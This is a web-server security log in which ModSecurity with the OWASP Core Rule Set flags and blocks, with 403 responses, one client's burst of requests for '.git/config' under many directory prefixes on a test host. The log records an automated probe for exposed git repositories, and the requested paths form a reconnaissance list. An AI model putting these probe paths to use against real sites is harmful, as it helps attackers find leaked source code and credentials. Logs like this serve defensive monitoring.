[Thu May 09 04:39:59.335564 2024] [:error] [pid 3087046] [client 91.215.85.43:46020] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TAAAAAQ&quot;]
[Thu May 09 04:39:59.336012 2024] [:error] [pid 3087046] [client 91.215.85.43:46020] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TAAAAAQ&quot;]
[Thu May 09 04:39:59.339606 2024] [:error] [pid 3087044] [client 91.215.85.43:45986] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /developer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-QAAAAI&quot;]
[Thu May 09 04:39:59.339992 2024] [:error] [pid 3087044] [client 91.215.85.43:45986] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-QAAAAI&quot;]
[Thu May 09 04:39:59.340220 2024] [:error] [pid 3087044] [client 91.215.85.43:45986] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-QAAAAI&quot;]
[Thu May 09 04:39:59.373911 2024] [:error] [pid 3087045] [client 91.215.85.43:46178] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DwAAAAM&quot;]
[Thu May 09 04:39:59.374264 2024] [:error] [pid 3087045] [client 91.215.85.43:46178] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DwAAAAM&quot;]
[Thu May 09 04:39:59.374567 2024] [:error] [pid 3087045] [client 91.215.85.43:46178] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DwAAAAM&quot;]
[Thu May 09 04:39:59.377099 2024] [:error] [pid 3088694] [client 91.215.85.43:46146] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxwAAAAc&quot;]
[Thu May 09 04:39:59.377444 2024] [:error] [pid 3088694] [client 91.215.85.43:46146] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxwAAAAc&quot;]
[Thu May 09 04:39:59.377736 2024] [:error] [pid 3088694] [client 91.215.85.43:46146] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxwAAAAc&quot;]
[Thu May 09 04:39:59.378470 2024] [:error] [pid 3087474] [client 91.215.85.43:46114] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repos/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOQAAAAY&quot;]
[Thu May 09 04:39:59.378611 2024] [:error] [pid 3087047] [client 91.215.85.43:45972] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYQAAAAU&quot;]
[Thu May 09 04:39:59.378965 2024] [:error] [pid 3087047] [client 91.215.85.43:45972] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYQAAAAU&quot;]
[Thu May 09 04:39:59.379100 2024] [:error] [pid 3087474] [client 91.215.85.43:46114] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOQAAAAY&quot;]
[Thu May 09 04:39:59.379217 2024] [:error] [pid 3087047] [client 91.215.85.43:45972] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYQAAAAU&quot;]
[Thu May 09 04:39:59.379496 2024] [:error] [pid 3087474] [client 91.215.85.43:46114] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOQAAAAY&quot;]
[Thu May 09 04:39:59.388055 2024] [:error] [pid 3087042] [client 91.215.85.43:46046] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDAAAAAA&quot;]
[Thu May 09 04:39:59.388363 2024] [:error] [pid 3087042] [client 91.215.85.43:46046] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDAAAAAA&quot;]
[Thu May 09 04:39:59.390183 2024] [:error] [pid 3087043] [client 91.215.85.43:46056] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShQAAAAE&quot;]
[Thu May 09 04:39:59.390396 2024] [:error] [pid 3087043] [client 91.215.85.43:46056] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShQAAAAE&quot;]
[Thu May 09 04:39:59.390594 2024] [:error] [pid 3087043] [client 91.215.85.43:46056] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShQAAAAE&quot;]
[Thu May 09 04:39:59.391147 2024] [:error] [pid 3087042] [client 91.215.85.43:46046] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDAAAAAA&quot;]
[Thu May 09 04:39:59.402998 2024] [:error] [pid 3089373] [client 91.215.85.43:46080] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /m/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dAAAAAg&quot;]
[Thu May 09 04:39:59.403380 2024] [:error] [pid 3089373] [client 91.215.85.43:46080] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dAAAAAg&quot;]
[Thu May 09 04:39:59.403675 2024] [:error] [pid 3089373] [client 91.215.85.43:46080] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dAAAAAg&quot;]
[Thu May 09 04:39:59.433078 2024] [:error] [pid 3087046] [client 91.215.85.43:46066] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /includes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TQAAAAQ&quot;]
[Thu May 09 04:39:59.433683 2024] [:error] [pid 3087046] [client 91.215.85.43:46066] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TQAAAAQ&quot;]
[Thu May 09 04:39:59.434109 2024] [:error] [pid 3087046] [client 91.215.85.43:46066] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TQAAAAQ&quot;]
[Thu May 09 04:39:59.437449 2024] [:error] [pid 3087044] [client 91.215.85.43:46090] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /__macosx/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-gAAAAI&quot;]
[Thu May 09 04:39:59.437976 2024] [:error] [pid 3087044] [client 91.215.85.43:46090] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-gAAAAI&quot;]
[Thu May 09 04:39:59.438380 2024] [:error] [pid 3087044] [client 91.215.85.43:46090] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-gAAAAI&quot;]
[Thu May 09 04:39:59.472666 2024] [:error] [pid 3087045] [client 91.215.85.43:46078] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EAAAAAM&quot;]
